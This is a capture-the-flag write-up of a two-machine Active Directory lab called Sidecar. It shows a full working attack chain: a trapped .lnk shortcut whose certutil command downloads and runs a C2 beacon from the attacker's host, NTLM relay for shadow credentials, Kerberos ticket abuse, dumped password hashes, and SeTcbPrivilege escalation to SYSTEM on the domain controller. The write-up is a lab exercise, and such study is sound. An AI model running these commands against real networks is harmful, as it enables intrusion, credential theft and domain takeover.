Sidecar is a chain made up of two machines, WS01 and DC01, classified as difficult. Initial access to WS01 is gained via a booby-trapped .lnk file, set up to limit antivirus detection. Once the first machine has been compromised, the absence of an LDAP signature combined with the presence of WebDAV enables a Shadow Credentials attack to be carried out, resulting in a much deeper compromise of the infrastructure.

By compromising WS01, the recovery of a password made it possible to reach an account with WinRM access on the domain controller. This account possessed the SeTcbPrivilege, which opens up massive elevation possibilities: exploiting this right facilitates the creation of elevated tokens and the execution of code on behalf of arbitrary identities, including SYSTEM, making possible the complete compromise of the DC.

Attack via `.lnk

When enumerating shared resources anonymously on the domain controller, the public share was found to be read/write accessible to all users. The info.txt file present in this share indicates that the /common/custom folder contains .lnk shortcuts used by users, making it an interesting target for a decoy.

To test whether a user actually clicks on these shortcuts, I dropped a trapped .lnk into the directory and waited for an incoming connection. The test captured NTLM authentication from a target machine, confirming that the attack works.



With the credentials retrieved, access to SMB shares was limited and insufficient to obtain a direct elevation. I therefore chose to obtain a reverse shell. As Windows Defender was active, I opted for in-memory execution via a C2 (Sliver) to reduce detection. To build a resistant loader, I relied on lab resources (https://www.youtube.com/watch?v=dShZR6FUV2w and https://wiki.vulnlab.com/lab-notes/c2-loaders/asm-loader) and adapted the Sliver beacon to produce a shellcode/loader executable in memory.

The .lnk shortcut was modified to force the retrieval and execution of an executable downloaded from my server:

1
C:\Windows\System32\cmd.exe /c certutil -urlcache -f http://10.8.6.80:8000/MicrosoftEdgeUpdate.exe C:\Windows\Temp\MicrosoftEdgeUpdate.exe && C:\Windows\Temp\MicrosoftEdgeUpdate.exe

After a few minutes, the beacon connected and I obtained interactive access to WS01.


Listing and recognition

With the beacon active, the next step was to collect reconnaissance elements using SharpHound to feed BloodHound and identify possible climbing paths. Running SharpHound retrieved a lot of data, but no exploitable escalation paths were revealed for the current user.

1
[server] sliver (sidecar-http) > execute-assembly -i -E /opt/sharphound/SharpHound.exe "-c all -d sidecar.vl --outputdirectory C:\windows\tasks --zipfilename out.zip"

I then checked the possibility of adding machines to the domain (a useful condition for an RBCD attack) by querying ms-DS-MachineAccountQuota via StandIn (https://github.com/FuzzySecurity/StandIn). The value returned was 0, meaning that a standard user cannot create machine accounts in this domain.

1
[server] sliver (sidecar-http) > inline-execute-assembly /opt/StandIn_v13_Net45.exe "--object ms-DS-MachineAccountQuota=*"

WebDAV activation and HTTP coercion

Since LDAP signing was not enabled on the DC, I wanted to find out whether WebDAV/WebClient was enabled to relay HTTP coercion to LDAP. Initially, SharpWebClientScanner indicated that WebClient was not active on the domain machines. To force its activation, I used Responder in scan mode to generate controlled HTTP authentications and then mapped an HTTP share from the target to my server. This activates the WebClient behavior on the target machine.

1
sudo responder -I tun0 -A

From target :

1
net use z: http://10.8.6.80/test

After these operations, SharpWebClientScanner detected that the WebClient was activated on WS01.

Add internal DNS entry

For HTTP to LDAP coercion to work, it must target an internal domain name rather than an IP address. This is because Windows applies security zone rules: sites considered as Local Intranet (often single-labeled or explicitly listed) automatically receive NTLM/Kerberos authentication, whereas an IP is often in the Internet zone, preventing credentials from being sent automatically. Unable to use netexec in this context, I used Sharpmad to add an internal DNS entry pointing to my machine, which allowed me to force credentials to be sent via WebDAV.

1
[server] sliver (sidecar-http) > execute-assembly /home/kali/ctf/vulnlab/sidecar/Sharpmad.exe ADIDNS -Action New -Tombstone -Verbose -Node WIN-IRMHSOW8KI1 -DATA 10.8.6.80

The internal DNS entry has been created and points to my machine.

Shadow Credentials via Printer Bug and NTLM relay to LDAPS

To force the machine to authenticate, I used SpoolSample.exe (PoC of the MS-RPRN Printer Bug). This tool requests the victim’s Printer Spooler to connect to a specified network path. Targeting the victim with a special UNC containing @80, the Spooler triggers a WebDAV/HTTP connection to my server and sends me machine authentication.

1
[server] sliver (sidecar-http) > execute-assembly /home/kali/ctf/vulnlab/sidecar/SpoolSample.exe 10.10.210.182 WIN-IRMHSOW8KI1@80/asdfasdf

In parallel, I ran ntlmrelayx to relay to the domain controller and perform the shadow-credentials operation. The aim was to use PKINIT to write a public key to the msDS-KeyCredentialLink attribute of the WS01$ machine object. Once the key has been added, it is possible to authenticate in Kerberos on behalf of the machine by presenting the corresponding certificate.

1
sidecar > impacket-ntlmrelayx -t ldaps://10.10.210.181 --shadow-credentials --shadow-target 'ws01$' -smb2support 

The reason why this attack targets a machine account comes from the default ACLs: a machine account can write to its own msDS-KeyCredentialLink when it is empty or uninitialized. User accounts do not systematically have this right, hence the preference for machine objects in this relay.

Obtain TGT PKINIT and use S4U / Silver ticket

After inserting the PKINIT key on WS01$, I retrieved the PFX certificate generated by the relay and used PKINITtools to request a TGT from the KDC by presenting this certificate. To do this, I used the following command:

1
python3 /opt/PKINITtools/gettgtpkinit.py -cert-pfx xK3Moyk6.pfx -pfx-pass pW8s4hoJ1HkRbjpZeHr4 'Sidecar.vl/ws01$' xK3Moyk6.ccache -dc-ip 10.10.210.181

On execution, the tool displays an AS-REP encryption key. This key encrypts certain parts of the AS-REP response and is used to derive Kerberos session keys. If the domain accepts RC4-HMAC (etype 23), the value displayed corresponds to the hash NTLM of the machine account, enabling silver tickets (forged TGSs signed with the service key) to be forged. If, on the other hand, the KDC only offers AES enctypes, the value displayed is the AES key derived from the password via string2key, which enables the AS-REP to be decrypted, but does not correspond to the NTLM hash and does not allow the NT hash to be retrieved directly.

Rather than forging a silver ticket directly with an NT hash, I used gets4uticket.py from PKINITtools to obtain a S4U2self/S4U2proxy ticket based on the PKINIT TGT. This method enabled me to obtain a service ticket in the name of Administrator for the SMB service.

1
2
export KRB5CCNAME=UtmmA0SQ.ccache  
python3 ~/tools/PKINITtools/gets4uticket.py \ kerberos+ccache://sidecar.vl\\WS01\$:[email protected] \ host/[email protected] [email protected] Administrator.ccache -v

After loading and using the generated ticket, I was able to extract the machine’s local secrets (SAM, LSA, DPAPI keys) via impacket-secretsdump.

1
2
3
export KRB5CCNAME=Administrator.ccache 
impacket-secretsdump -k WS01.sidecar.vl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
└─$ impacket-secretsdump -k WS01.sidecar.vl 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x1e7d0e7d432413f4ac3097f112b17322
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a7eb14088fd30c1af40ff91acd7734ce:::
Gast:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Admin:1000:aad3b435b51404eeaad3b435b51404ee:09e8df317667fc45698f7db80c58fd3f:::
Deployer:1001:aad3b435b51404eeaad3b435b51404ee:c5ad69fd899918450831c9d2b23f27a1:::
[*] Dumping cached domain logon information (domain/username:hash)
SIDECAR.VL/E.Klaymore:$DCC2$10240#E.Klaymore#66e0fb1767fe4f00983784904ad42579: (2024-02-16 03:47:00)
SIDECAR.VL/Administrator:$DCC2$10240#Administrator#0105946ef533599c2b1b769f3d9016dd: (2023-12-02 11:27:44)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
SIDECAR\WS01$:plain_password_hex:98fa7c0c8c00651d23dfbdcf7d30c7dde0fa3b3e0395448787737d4246bfc07ac380fa698fde1a62713e9fdae7f316c1f53a78016ef52f1d1577ec1121760f40c1b3e9ea8258c70c6b9152edf6cf9ee082143668ccc2ecbe20d4a32db445b785ec275549644a5ba6dbd5d5269081632969a87cdf3ff94c7065014a65e22cc0aa1b7e808d3cc2d847f73a3a75a3b40ece050b0b5ed04fc9cb54242becda7a8f627c3dfecd6344aefcd55aee6bd8f0e1d3a78b7a0c3426667a55d700c12d0901eff4ed24bbdb20595f907548d15c89ed6f59800f36fffbd135cdb929afa083d50f79ae26045b167553b6d546aa03f3aa3f
SIDECAR\WS01$:aad3b435b51404eeaad3b435b51404ee:723fd9e43e32633867a79e67a3ba91dc:::
[*] DPAPI_SYSTEM
dpapi_machinekey:0x5f9303f91320d51860ac3a1313e79027a226ec34
dpapi_userkey:0x21fd9a9c71f6b32d717142ca71212c70c33bf4d3
[*] NL$KM
0000 48 35 C4 FE DA 3E 65 75 57 78 B9 E8 26 12 99 AD H5...>euWx..&...
0010 C3 C9 10 90 E7 7E 77 ED 91 66 BB 10 28 15 FF 24 .....~w..f..(..$
0020 6E 20 0C A9 6A A1 82 8D EA 3E FC B5 DB 18 F9 0B n ..j....>......
0030 3C 62 FD 18 AE 7C B4 C5 AA 06 E6 4E D9 1F 27 85 <b...|.....N..'.
NL$KM:4835c4feda3e65755778b9e8261299adc3c91090e77e77ed9166bb102815ff246e200ca96aa1828dea3efcb5db18f90b3c62fd18ae7cb4c5aa06e64ed91f2785
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry

Domain controller compromise and SeTcbPrivilege exploitation

By hash spraying user accounts with hashes retrieved from WS01, I managed to compromise the svc_deploy account. This account had WinRM access to DC01, allowing me to open a remote session.

1
2
└─$ nxc winrm 10.10.168.21 -u svc_deploy -H c5ad69fd899918450831c9d2b23f27a1

Analysis of the account’s privileges revealed the presence of SeTcbPrivilege (“Act as part of the operating system”). This privilege allows the creation of primary or impersonation tokens for any account, and the execution of code using the identity of these accounts. Possession of this right is virtually equivalent to being able to usurp any local user.

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= =================================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeTcbPrivilege Act as part of the operating system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

To exploit this privilege, I used # TcbElevation.cpp which allowed me to obtain a beacon as a system.

1
2
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> .\TcbElevation.exe test "C:\Windows\System32\cmd.exe /c C:\Windows\Tasks\MicrosoftEdgeUpdate.exe"
Error starting service 1053
1
2
3
4
5
6
sliver > beacons 

ID Name Transport Hostname Username
========== ================= =========== ========== =====================
a6eb0a43 FINE_DRAMATURGE mtls ws01 SIDECAR\E.Klaymore
8cbb3710 FINE_DRAMATURGE mtls DC01 NT AUTHORITY\SYSTEM